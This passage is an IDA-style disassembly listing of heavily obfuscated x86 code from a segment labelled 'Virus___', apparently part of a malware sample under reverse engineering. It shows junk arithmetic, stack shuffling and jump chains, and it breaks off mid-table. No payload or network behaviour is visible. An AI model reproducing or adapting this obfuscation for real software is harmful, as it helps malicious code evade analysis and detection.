sub_543268+14j push eax mov eax, 4 mov ecx, eax pop eax sub dword ptr [esp+4], 2F4A4487h add [esp+4], ecx add dword ptr [esp+4], 2F4A4487h mov ecx, [esp+4+var_4] add esp, 4 jmp loc_54F3D5 ; END OF FUNCTION CHUNK FOR sub_543268 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54511C: ; CODE XREF: sub_545A2B-98Dj shl eax, 2 shr eax, 5 sub esp, 4 mov [esp-38h+arg_32+2], edi push eax jmp loc_543F2F ; --------------------------------------------------------------------------- loc_54512E: ; CODE XREF: sub_545A2B+9215j pop edx and cl, 3Dh neg cl sub cl, 4 mov dl, cl mov ecx, [esp-38h+arg_32+2] add esp, 4 jmp loc_54582E ; --------------------------------------------------------------------------- loc_545144: ; CODE XREF: sub_545A2B+393j add esp, 4 jmp loc_5484D2 ; --------------------------------------------------------------------------- loc_54514C: ; CODE XREF: sub_545A2B+3B74j pop ebp jmp loc_548172 ; --------------------------------------------------------------------------- loc_545152: ; CODE XREF: sub_545A2B+423Cj add esp, 4 add ebx, 57BB2605h add ebx, ecx sub ebx, 57BB2605h push [esp-48h+arg_42+2] pop ecx jmp loc_54F1DC ; END OF FUNCTION CHUNK FOR sub_545A2B ; =============== S U B R O U T I N E ======================================= sub_54516C proc near ; CODE XREF: sub_545A2B+1649j var_4 = dword ptr -4 push ebx pop edx push 30CDh mov [esp+4+var_4], edx xor [esp+4+var_4], 117921CDh pop eax xor eax, 117921CDh push dword ptr [esp+0] pop edx push ebp mov ebp, esp jmp loc_54A940 sub_54516C endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_54331B loc_54518F: ; CODE XREF: sub_54331B+6j mov eax, [esp+8+var_8] add esp, 4 push eax jmp loc_549D2A ; END OF FUNCTION CHUNK FOR sub_54331B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54519B: ; CODE XREF: sub_545A2B-884j mov esp, [esp-48h+arg_42+2] jmp loc_546A20 ; --------------------------------------------------------------------------- loc_5451A3: ; CODE XREF: sub_545A2B+40A3j pop ebx pop [esp-4Ch+arg_46+2] jmp loc_54519B ; --------------------------------------------------------------------------- loc_5451AC: ; CODE XREF: sub_545A2B-26F1j mov esp, [esp-10h+arg_A+2] loc_5451AF: ; CODE XREF: sub_545A2B+51D4j ; sub_545A2B+8180j push 1577h mov [esp+0], ebx push ebp jmp loc_544209 ; --------------------------------------------------------------------------- loc_5451BD: ; CODE XREF: sub_545A2B-29j jmp loc_542F67 ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- lodsd sub esp, 4 mov [esp], edx mov edx, 15B860ACh sub eax, edx mov edx, [esp] add esp, 4 jmp loc_546B4F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_5451E1: ; CODE XREF: sub_545A2B+1994j add esi, 0E136D40h pop eax push esi push dword ptr [esp+4] pop esi pop [esp-8+arg_4] mov esp, [esp+0] rol byte ptr [esp+0], cl pushf jmp loc_542F67 ; END OF FUNCTION CHUNK FOR sub_545A2B ; =============== S U B R O U T I N E ======================================= sub_5451FD proc near ; CODE XREF: sub_545A2B+8DEj arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00544EF9 SIZE 00000015 BYTES push ebx mov ebx, 4B0D4F51h shl ebx, 3 add ebx, 6DCE4CA3h xor ebx, 2C4B522Ah sub ebx, 74AB1016h or ebx, 24234B8h jmp loc_544EF9 sub_5451FD endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_545223: ; CODE XREF: sub_545A2B+1010j mov ebx, 55BE1291h jmp loc_544A9B ; --------------------------------------------------------------------------- loc_54522D: ; CODE XREF: sub_545A2B+AB9j mov edx, esp jmp loc_54700C ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- loc_545234: ; CODE XREF: Virus___:0054CCC3j mov edx, esp add edx, 4 push ebp mov ebp, 5D834105h neg ebp shl ebp, 5 xor ebp, 48BE493Fh jmp loc_545279 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_545252: ; CODE XREF: sub_545A2B+57E9j add ebx, 57A636F4h mov esi, [esp-8+arg_4] add esp, 4 jmp loc_542F67 ; --------------------------------------------------------------------------- loc_545266: ; CODE XREF: sub_545A2B+7D24j add eax, edi pop edi pop edx sub eax, 58B57BAh push 4384h jmp loc_544F50 ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- loc_545279: ; CODE XREF: Virus___:0054524Dj add ebp, 0F8D669A5h sub edx, ebp mov ebp, [esp] jmp loc_548DBF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_545289: ; CODE XREF: sub_545A2B+40ACj push edx sub esp, 4 mov [esp-8+arg_4], esi mov esi, esp add esi, 4 push 54C2h jmp loc_54DE0B ; --------------------------------------------------------------------------- loc_5452A2: ; CODE XREF: sub_545A2B+6A00j pop esp mov cx, word ptr [esp-8+arg_4] jmp loc_5430B9 ; --------------------------------------------------------------------------- loc_5452AC: ; CODE XREF: sub_545A2B+1D7Cj mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp-8+arg_4] jmp loc_54F151 ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- mov eax, [esp] push eax mov eax, esp add eax, 4 push ebx push ebp mov ebp, 6DC5590Ah jmp loc_54E19C ; =============== S U B R O U T I N E ======================================= sub_5452D5 proc near ; CODE XREF: sub_545A2B+314j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005459BE SIZE 0000001C BYTES sub esp, 4 mov [esp+4+var_4], esi jmp loc_5459BE sub_5452D5 endp ; sp-analysis failed ; --------------------------------------------------------------------------- mov eax, [esp] jmp loc_54652F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_5452EB: ; CODE XREF: sub_545A2B+585Dj pop edi push ecx mov ecx, 79D81A57h or ecx, 38573D1Eh jmp loc_545546 ; --------------------------------------------------------------------------- loc_5452FD: ; CODE XREF: sub_545A2B+2F06j xor ax, 33ADh mov bp, ax mov eax, [esp-8+arg_4] add esp, 4 add bx, bp jmp loc_5495A4 ; --------------------------------------------------------------------------- loc_545315: ; CODE XREF: sub_545A2B-206Aj pop eax or ch, 0C3h shr ch, 4 jmp loc_549C5E ; --------------------------------------------------------------------------- loc_545321: ; CODE XREF: sub_545A2B+1B12j mov [esp-48h+arg_42+2], esi push ebx mov ebx, 43E35105h mov esi, 527544Ah xor esi, ebx pop ebx push edi mov edi, 58E9379Ch sub eax, edi pop edi add eax, esi add eax, 58E9379Ch push [esp-48h+arg_42+2] pop esi push edx mov edx, esp add edx, 4 jmp loc_547E81 ; --------------------------------------------------------------------------- loc_545354: ; CODE XREF: sub_545A2B+498Dj pop ecx xchg ah, bh push eax not byte ptr [esp-44h+arg_3E+3] pop eax xchg ah, bh sub bh, 1 sub bh, 6Ah sub al, bh pop ebx sub bl, 3 add bl, al jmp loc_5467A4 ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_54C95E loc_545372: ; CODE XREF: sub_54C95E+6j push small 27A9h jmp loc_5467B7 ; END OF FUNCTION CHUNK FOR sub_54C95E ; =============== S U B R O U T I N E ======================================= sub_54537B proc near ; CODE XREF: sub_545A2B-1E2Ej var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, 4 add edx, ebp mov ebp, [esp+4+var_4] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp+8+var_8] jmp loc_54A39A sub_54537B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54539D: ; CODE XREF: sub_545A2B+40D3j pop eax jmp loc_54EC9A ; --------------------------------------------------------------------------- loc_5453A3: ; CODE XREF: sub_545A2B+3D9Bj mov [esp-50h+arg_4C], ecx push eax mov ah, dl mov cl, ah pop eax mov [eax], cl push [esp-50h+arg_4C] pop ecx push esi mov esi, esp push ecx mov ecx, 23C16E1Dh xor ecx, 4EB82520h or ecx, 6A6C31D1h push edx push ebp mov ebp, 4B5458Bh jmp loc_54774B ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_54EB9E loc_5453D3: ; CODE XREF: sub_54EB9E-9ED3j mov edx, 680C639Dh sub ebx, edx pop edx shl ebx, 3 neg ebx sub ebx, 174AE9B5h and ebp, ebx pop ebx jmp loc_548196 ; END OF FUNCTION CHUNK FOR sub_54EB9E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_5453EE: ; CODE XREF: sub_545A2B+1F0Cj dec edi push eax mov eax, 7E8877A0h sub edi, eax mov eax, [esp-3Ch+arg_36+2] add esp, 4 mov ecx, edi pop edi add edx, ecx jmp loc_54E820 ; --------------------------------------------------------------------------- loc_54540A: ; CODE XREF: sub_545A2B+1CEFj add ebp, esi jmp loc_54C22D ; --------------------------------------------------------------------------- loc_545411: ; CODE XREF: sub_545A2B+8BE8j xor [esp-44h+arg_3E+2], edx xor edx, [esp-44h+arg_3E+2] pop esp add byte ptr [esp-48h+arg_42+2], al pushf jmp loc_542F67 ; --------------------------------------------------------------------------- loc_545421: ; CODE XREF: sub_545A2B-3B9j push 29D7h mov [esp-40h+arg_3A+2], edx mov edx, 7541488Ch jmp loc_5478B7 ; --------------------------------------------------------------------------- loc_545433: ; CODE XREF: sub_545A2B+8534j add ebp, edi pop edi add ebp, 2 push ebp push [esp-40h+arg_3E+2] pop ebp pop [esp-40h+arg_3A+2] mov esp, [esp-44h+arg_3E+2] jmp loc_543F4D ; --------------------------------------------------------------------------- loc_54544D: ; CODE XREF: sub_545A2B-50Bj mov ebp, esp add ebp, 4 push edi jmp loc_545B91 ; --------------------------------------------------------------------------- loc_54545B: ; CODE XREF: sub_545A2B+7CE9j pop ebp add ebp, 4 sub esp, 4 mov [esp-40h+arg_3A+2], ecx push edx push ebx jmp loc_54349F ; --------------------------------------------------------------------------- loc_545472: ; CODE XREF: sub_545A2B+88DEj push 2A76h mov [esp-34h+arg_2E+2], esi push ebp mov ebp, 4DC860FAh push ebp sub [esp-2Ch+arg_26+2], 7DD846E0h pop esi add esi, 7DD846E0h mov ebp, [esp-30h+arg_2A+2] jmp loc_545BB8 ; --------------------------------------------------------------------------- loc_545497: ; CODE XREF: sub_545A2B+5D08j add edi, 4 add edi, 4 xchg edi, [esp-30h+arg_2A+2] pop esp mov ah, cl mov ecx, [esp-34h+arg_2E+2] add esp, 4 push ebx mov bl, ah jmp loc_544FA2 ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- sub esp, 4 mov [esp], esp add dword ptr [esp], 4 push dword ptr [esp] jmp loc_54D7DE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_5454D2: ; CODE XREF: sub_545A2B+3B7Bj movzx eax, ax push small 1E58h mov word ptr [esp-32h+arg_2E], ax jmp loc_542F67 ; --------------------------------------------------------------------------- loc_5454E2: ; CODE XREF: sub_545A2B+7507j pop esi add edx, 65204737h add edx, ebx sub edx, 65204737h pop ebx xchg edx, [esp-3Ah+arg_36] pop esp ror byte ptr [esp-3Eh+arg_3A], cl pushf jmp loc_542F67 ; --------------------------------------------------------------------------- loc_5454FF: ; CODE XREF: sub_545A2B+67D5j mov esi, 4 jmp loc_54CA30 ; --------------------------------------------------------------------------- loc_545509: ; CODE XREF: sub_545A2B+483Dj shr edx, 1 and edx, 29A6673Fh jmp loc_54A384 ; --------------------------------------------------------------------------- loc_545516: ; CODE XREF: sub_545A2B+3F5Dj add edx, edi pop edi xchg edx, [esp-3Eh+arg_3A] mov esp, [esp-3Eh+arg_3A] push ebp jmp loc_54544D ; --------------------------------------------------------------------------- loc_545525: ; CODE XREF: sub_545A2B+728Ej xor [esp-3Ah+arg_36], ebp xor ebp, [esp-3Ah+arg_36] pop esp mov [esp-3Eh+arg_3A], ebp push 74806EEh pop ebp push eax mov eax, 37826A36h jmp loc_547E3D ; --------------------------------------------------------------------------- loc_545540: ; CODE XREF: sub_545A2B+4E91j push ecx jmp loc_546D26 ; --------------------------------------------------------------------------- loc_545546: ; CODE XREF: sub_545A2B-733j or ecx, 5A440DB3h jmp loc_54DC02 ; --------------------------------------------------------------------------- loc_545551: ; CODE XREF: sub_545A2B+3296j not ecx xchg ecx, ebx not ebx sub ebx, 54D03F1Ah add edi, ebx pop ebx add edi, 4 xchg edi, [esp+0] mov esp, [esp+0] jmp loc_54A6D5 ; --------------------------------------------------------------------------- loc_545571: ; CODE XREF: sub_545A2B+8C63j pop eax add edx, 71394417h jmp sub_5440AE ; --------------------------------------------------------------------------- loc_54557D: ; CODE XREF: sub_545A2B+2F83j push edx mov edx, 4 add esi, edx pop edx add esi, 4 xchg esi, [esp-10h+arg_A+2] pop esp sub bl, 38h sub bl, al jmp loc_54B718 ; --------------------------------------------------------------------------- loc_545597: ; CODE XREF: sub_545A2B+78C5j or ebp, 375B162Dh sub ebp, 0F77BD7ABh add edi, 698B745Fh add edi, ebp push eax mov eax, 698B745Fh sub edi, eax pop eax mov ebp, [esp-14h+arg_E+2] add esp, 4 xor edi, [esp-18h+arg_12+2] xor [esp-18h+arg_12+2], edi xor edi, [esp-18h+arg_12+2] mov esp, [esp-18h+arg_12+2] bts word ptr [esp-18h+arg_12+2], ax pushf jmp loc_542F67 ; --------------------------------------------------------------------------- loc_5455D1: ; CODE XREF: sub_545A2B+94D9j pop esi dec esi push ebx jmp loc_544DB7 ; --------------------------------------------------------------------------- loc_5455D9: ; CODE XREF: sub_545A2B+3AC6j jmp loc_542F67 ; --------------------------------------------------------------------------- loc_5455DE: ; CODE XREF: sub_545A2B+923Cj push edi mov edi, 5712026Ch sub [esp-10h+arg_12+2], edi pop edi jmp loc_543344 ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_543A46 loc_5455EE: ; CODE XREF: sub_543A46+9AC2j mov edx, ebx pop ebx add ebx, edx pop edx add ebx, 2A0077A9h jmp loc_54EFC7 ; END OF FUNCTION CHUNK FOR sub_543A46 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_5455FF: ; CODE XREF: sub_545A2B+27A7j pop esi push 5172h mov [esp-14h+arg_E+2], eax xor [esp-14h+arg_E+2], 7FD838EFh jmp loc_54CE53 ; --------------------------------------------------------------------------- loc_545614: ; CODE XREF: sub_545A2B+1495j xchg ebx, [esp-14h+arg_E+2] mov esp, [esp-14h+arg_E+2] imul ecx push esi jmp loc_548D08 ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- loc_545622: ; CODE XREF: Virus___:0054C868j mov edi, esp push esi push edi push 73B2524Bh pop edi or edi, 144970AAh sub edi, 49FF6680h jmp loc_546F5A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54563D: ; CODE XREF: sub_545A2B+3E2Fj sub cl, 5Ah jmp loc_54597F ; --------------------------------------------------------------------------- loc_545645: ; CODE XREF: sub_545A2B-5j add eax, 4682B6DAh sub ebx, eax pop eax jmp loc_547C7E ; --------------------------------------------------------------------------- loc_545652: ; CODE XREF: sub_545A2B+2147j mov edx, [esp-14h+arg_E+2] add esp, 4 add bl, 0A6h sub bl, ah jmp loc_549AB8 ; --------------------------------------------------------------------------- loc_545662: ; CODE XREF: sub_545A2B+EB6j xor ebx, eax push 7FD8h mov [esp-14h+arg_E+2], eax jmp loc_542F67 ; --------------------------------------------------------------------------- loc_545671: ; CODE XREF: sub_545A2B+4246j pop ecx jmp loc_545421 ; --------------------------------------------------------------------------- loc_545677: ; CODE XREF: sub_545A2B+E4j add esi, 4 xchg esi, [esp-18h+arg_12+2] pop esp sub edx, 4 xchg edx, [esp-1Ch+arg_16+2] mov esp, [esp-1Ch+arg_16+2] mov [esp-1Ch+arg_16+2], edx push eax pushf jmp loc_542F67 ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- loc_545697: ; DATA XREF: Virus___:00542D50o push dword ptr [esp] jmp loc_548786 ; --------------------------------------------------------------------------- loc_54569F: ; DATA XREF: Virus___:00542D24o mov ax, [esp] push 2499h mov [esp], edi push 25FCh mov [esp], esp jmp loc_54B219 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_5456B8: ; CODE XREF: sub_545A2B+7AB7j pop ecx jmp loc_542F67 ; END OF FUNCTION CHUNK FOR sub_545A2B ; =============== S U B R O U T I N E ======================================= sub_5456BE proc near ; CODE XREF: sub_545A2B+4F5j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0054422B SIZE 00000016 BYTES sub esp, 4 mov [esp+4+var_4], esi mov esi, 2 jmp loc_54422B sub_5456BE endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_5456D1: ; CODE XREF: sub_545A2B+2E63j sub eax, 408B657Fh xor eax, 10D8AA65h add ebp, eax mov eax, [esp-18h+arg_12+2] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp-14h+arg_E+2] jmp loc_543D34 ; --------------------------------------------------------------------------- loc_5456F7: ; CODE XREF: sub_545A2B+13BAj add ebp, eax pop eax xchg ebp, [esp-18h+arg_12+2] pop esp jmp loc_54B417 ; --------------------------------------------------------------------------- loc_545703: ; CODE XREF: sub_545A2B-27CFj and ch, 0EAh add ch, 0Ah xor ch, 34h xor ch, 99h jmp loc_54845F ; --------------------------------------------------------------------------- loc_545714: ; CODE XREF: sub_545A2B+32F8j add esp, 4 push eax push edi mov edi, 4 mov eax, edi pop edi add edx, eax mov eax, [esp-16h+arg_12] jmp loc_544822 ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- off_54572E dd offset dword_4FD980+6E8h ; DATA XREF: Virus___:00542E44o dw 8900h ; --------------------------------------------------------------------------- add al, 24h mov al, bl mov bl, [esp+4] jmp loc_544174 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_545741: ; CODE XREF: sub_545A2B+1CDj xor ch, 64h sub al, ch pop ecx add bl, al jmp loc_54BFB2 ; --------------------------------------------------------------------------- loc_54574E: ; CODE XREF: sub_545A2B+7796j pop eax pop [esp-1Eh+arg_1A] jmp loc_54E816 ; --------------------------------------------------------------------------- loc_545757: ; CODE XREF: sub_545A2B-14FEj push [esp-1Eh+arg_1A] mov esi, [esp-1Ah+arg_16] add esp, 4 sub esp, 4 mov [esp-1Ah+arg_16], esi mov esi, esp push edx push ecx mov ecx, 31106211h xor ecx, 56E21FECh not ecx jmp loc_543FB1 ; --------------------------------------------------------------------------- loc_54577F: ; CODE XREF: sub_545A2B-283Ej mov [esp-0Eh+arg_A], ebx jmp loc_54BE64 ; --------------------------------------------------------------------------- loc_545787: ; CODE XREF: sub_545A2B+40CBj pop edi mov ebp, edx jmp loc_544856 ; --------------------------------------------------------------------------- loc_54578F: ; CODE XREF: sub_545A2B+3FC5j pop ecx jmp loc_5488EB ; --------------------------------------------------------------------------- loc_545795: ; CODE XREF: sub_545A2B+5B33j push ecx mov cl, 98h shr cl, 1 inc cl sub cl, 0DBh add dl, cl pop ecx pop ecx sub bl, dl pop edx add al, bl pop ebx jmp loc_54AD36 ; --------------------------------------------------------------------------- loc_5457AE: ; CODE XREF: sub_545A2B+B7Dj xor ebp, eax xor eax, ebp not ebp sub esp, 4 mov [esp-1Eh+arg_1A], eax push ebp push [esp-1Ah+arg_16] push [esp-16h+arg_12] jmp loc_54BA8D ; --------------------------------------------------------------------------- loc_5457C6: ; CODE XREF: sub_545A2B-1371j add edx, edi add edx, 2324207h add edx, 44A96F22h xor dword ptr [edx], 19217646h mov edx, [esp-26h+arg_22] add esp, 4 jmp loc_54BFBB ; --------------------------------------------------------------------------- loc_5457E5: ; CODE XREF: sub_545A2B+8CFDj pop eax pop edi mov ecx, ebp jmp loc_54A4F2 ; --------------------------------------------------------------------------- loc_5457EE: ; CODE XREF: sub_545A2B-ECCj push esp pop edi jmp loc_54BDD5 ; END OF FUNCTION CHUNK FOR sub_545A2B ; =============== S U B R O U T I N E ======================================= sub_5457F5 proc near ; DATA XREF: Virus___:00542F08o var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00543D0E SIZE 0000001E BYTES push 3F48h mov [esp+4+var_4], ebx jmp loc_543D0E sub_5457F5 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_545802: ; CODE XREF: sub_545A2B+160Dj push [esp-14h+arg_E+2] mov edx, [esp-10h+arg_A+2] push eax mov eax, esp add eax, 4 add eax, 4 jmp loc_548D17 ; --------------------------------------------------------------------------- loc_54581A: ; CODE XREF: sub_545A2B+2660j add eax, 4 xchg eax, [esp+0] pop esp add edi, 4 jmp loc_544A2B ; --------------------------------------------------------------------------- loc_54582E: ; CODE XREF: sub_545A2B-8ECj xor al, dl push [esp-3Ch+arg_36+2] pop edx jmp loc_5489AB ; --------------------------------------------------------------------------- loc_545839: ; CODE XREF: sub_545A2B+212Fj push esi jmp loc_549FFB ; --------------------------------------------------------------------------- loc_54583F: ; CODE XREF: sub_545A2B+6F05j xor ecx, 14487FE0h or ecx, 46A62F65h sub ecx, 0AB547CBCh add edx, ecx pop ecx mov ebx, edx jmp loc_5436E5 ; END OF FUNCTION CHUNK FOR sub_545A2B ; =============== S U B R O U T I N E ======================================= sub_54585B proc near ; CODE XREF: sub_545A2B+59C6j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0054F4B4 SIZE 00000012 BYTES push ebp push esi jmp loc_54F4B4 sub_54585B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_545862: ; CODE XREF: sub_545A2B-16CCj mov word ptr [esp-24h+arg_1E+2], cx push small word ptr [esp-24h+arg_22] mov cx, word ptr [esp-22h+arg_1E] add esp, 2 jmp loc_5464FB ; END OF FUNCTION CHUNK FOR sub_545A2B ; =============== S U B R O U T I N E ======================================= sub_545877 proc near ; CODE XREF: sub_545A2B+91D0j var_8 = dword ptr -8 push ebx push esi push 122F6E49h pop esi xor esi, 6C5238BDh mov ebx, esi mov esi, [esp+8+var_8] jmp loc_54C62F sub_545877 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54588F: ; CODE XREF: sub_545A2B+73C4j push esi jmp loc_54AE28 ; --------------------------------------------------------------------------- loc_545895: ; CODE XREF: sub_545A2B+6EEDj mov eax, 6C538C0h add edi, eax pop eax add edi, edx sub edi, 6C538C0h push ecx push edx push 2DA01A9Ch pop edx xor edx, 38222F05h add edx, 42B4111Fh add edx, 73D573DDh jmp loc_548CB4 ; --------------------------------------------------------------------------- loc_5458C4: ; CODE XREF: sub_545A2B+8C27j xor [esp-1Eh+arg_1A], ecx xor ecx, [esp-1Eh+arg_1A] mov esp, [esp-1Eh+arg_1A] idiv cl movzx cx, ah push small 3013h jmp loc_54D12A ; --------------------------------------------------------------------------- loc_5458DC: ; CODE XREF: sub_545A2B+2866j xchg edi, ebx dec ebx neg ebx not ebx sub ebx, 694D2159h add edx, ebx jmp loc_54C4CA ; --------------------------------------------------------------------------- loc_5458F0: ; CODE XREF: sub_545A2B+2A89j push 7958h mov [esp-18h+arg_12+2], esp add [esp-18h+arg_12+2], 4 mov ecx, [esp-18h+arg_12+2] add esp, 4 jmp loc_54F0C0 ; --------------------------------------------------------------------------- loc_545907: ; CODE XREF: sub_545A2B+3ED2j movsx ecx, al push ecx push esp pop ecx push eax mov eax, 2ED312E6h neg eax neg eax jmp loc_547560 ; --------------------------------------------------------------------------- loc_54591C: ; CODE XREF: sub_545A2B+895Cj mov edx, esp push ecx push eax push 18397B82h pop eax sub eax, 0AE791FEDh mov ecx, eax jmp loc_54D996 ; --------------------------------------------------------------------------- loc_545932: ; CODE XREF: sub_545A2B+56DAj mov ebp, 0BFA7AE5h sub ebp, 5A400C55h jmp loc_544C64 ; --------------------------------------------------------------------------- loc_545942: ; CODE XREF: sub_545A2B-CEBj sub ecx, 4D652033h xor ecx, 0C88701Ah xor ecx, 13695CD3h add eax, ecx mov ecx, [esp-16h+arg_12] add esp, 4 push 6376h mov [esp-16h+arg_12], eax push [esp-16h+arg_16] mov eax, [esp-12h+arg_E] push edi mov edi, esp add edi, 4 add edi, 4 jmp loc_54810A ; --------------------------------------------------------------------------- loc_54597F: ; CODE XREF: sub_545A2B-3EBj add bl, 65h sub bl, cl jmp loc_54AF64 ; --------------------------------------------------------------------------- loc_545989: ; CODE XREF: sub_545A2B+4419j shr ah, 2 shr ah, 3 sub ah, 0D9h push ebx mov bh, ah mov dl, bh pop ebx mov eax, [esp-10h+arg_A+2] add esp, 4 push eax mov al, 2Bh jmp loc_549EFB ; --------------------------------------------------------------------------- loc_5459A9: ; CODE XREF: sub_545A2B+4867j mov edx, 2 mov eax, edx pop edx sub ebp, 34CB6635h add ebp, eax jmp loc_54ED3A ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5452D5 loc_5459BE: ; CODE XREF: sub_5452D5+9j push ecx mov ecx, 66B9345Ch mov esi, ecx pop ecx add ebp, esi pop esi sub ebp, ecx sub ebp, 66B9345Ch pop ecx sub edx, ebp jmp loc_549F02 ; END OF FUNCTION CHUNK FOR sub_5452D5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_5459DA: ; CODE XREF: sub_545A2B+2742j mov edx, eax pop eax mov esi, 7F977F0Ah xor esi, edx pop edx add edx, esi pop esi xchg edx, [esp-20h+arg_1A+2] mov esp, [esp-20h+arg_1A+2] add esp, 4 push edi push ecx push 4AEEh jmp loc_549433 ; --------------------------------------------------------------------------- loc_545A00: ; CODE XREF: sub_545A2B+42B8j push eax pushf jmp loc_5451BD ; --------------------------------------------------------------------------- loc_545A07: ; CODE XREF: sub_545A2B+47Aj push [esp-10h+arg_A+2] mov eax, [esp+0] push 70CAh mov [esp-8+arg_4], edx mov edx, esp add edx, 4 push esi jmp loc_54AF95 ; --------------------------------------------------------------------------- loc_545A23: ; CODE XREF: sub_545A2B+5E7Bj shl eax, 3 jmp loc_545645 ; END OF FUNCTION CHUNK FOR sub_545A2B ; =============== S U B R O U T I N E ======================================= sub_545A2B proc near ; DATA XREF: Virus___:00542DFCo var_6A = dword ptr -6Ah var_66 = dword ptr -66h var_62 = dword ptr -62h var_5E = dword ptr -5Eh var_5A = dword ptr -5Ah var_56 = dword ptr -56h var_52 = dword ptr -52h var_4E = dword ptr -4Eh var_48 = dword ptr -48h var_44 = dword ptr -44h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_16 = dword ptr -16h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_A = dword ptr 0Eh arg_E = dword ptr 12h arg_12 = dword ptr 16h arg_16 = dword ptr 1Ah arg_1A = dword ptr 1Eh arg_1E = dword ptr 22h arg_22 = dword ptr 26h arg_26 = dword ptr 2Ah arg_2A = dword ptr 2Eh arg_2E = dword ptr 32h arg_32 = dword ptr 36h arg_36 = dword ptr 3Ah arg_3A = dword ptr 3Eh arg_3E = dword ptr 42h arg_42 = dword ptr 46h arg_46 = dword ptr 4Ah arg_4C = dword ptr 50h arg_50 = dword ptr 54h arg_54 = dword ptr 58h arg_58 = dword ptr 5Ch arg_5C = dword ptr 60h arg_60 = dword ptr 64h arg_64 = dword ptr 68h arg_68 = dword ptr 6Ch arg_6C = dword ptr 70h arg_70 = dword ptr 74h arg_74 = dword ptr 78h arg_78 = dword ptr 7Ch arg_80 = dword ptr 84h ; FUNCTION CHUNK AT 00542F67 SIZE 00000057 BYTES ; FUNCTION CHUNK AT 00542FDA SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00542FF2 SIZE 00000041 BYTES ; FUNCTION CHUNK AT 0054303F SIZE 00000087 BYTES ; FUNCTION CHUNK AT 005430EB SIZE 00000067 BYTES ; FUNCTION CHUNK AT 005431AB SIZE 000000B8 BYTES ; FUNCTION CHUNK AT 00543281 SIZE 00000061 BYTES ; FUNCTION CHUNK AT 005432F1 SIZE 0000002A BYTES ; FUNCTION CHUNK AT 00543326 SIZE 00000086 BYTES ; FUNCTION CHUNK AT 005433E1 SIZE 00000038 BYTES ; FUNCTION CHUNK AT 00543424 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 00543452 SIZE 00000033 BYTES ; FUNCTION CHUNK AT 00543493 SIZE 00000061 BYTES ; FUNCTION CHUNK AT 00543520 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0054353D SIZE 00000029 BYTES ; FUNCTION CHUNK AT 00543577 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 005435B1 SIZE 000000B2 BYTES ; FUNCTION CHUNK AT 005436A5 SIZE 0000006B BYTES ; FUNCTION CHUNK AT 0054374F SIZE 00000027 BYTES ; FUNCTION CHUNK AT 0054378D SIZE 00000023 BYTES ; FUNCTION CHUNK AT 005437BC SIZE 0000003A BYTES ; FUNCTION CHUNK AT 00543803 SIZE 0000006E BYTES ; FUNCTION CHUNK AT 0054387F 